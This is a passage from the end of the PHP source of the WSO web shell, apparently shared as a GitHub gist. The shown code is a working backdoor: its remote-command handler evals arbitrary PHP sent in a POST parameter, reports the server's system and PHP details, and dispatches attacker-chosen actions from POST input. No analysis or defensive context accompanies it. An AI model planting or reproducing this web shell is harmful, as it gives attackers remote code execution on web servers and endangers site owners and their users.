wsoFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => WSO_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment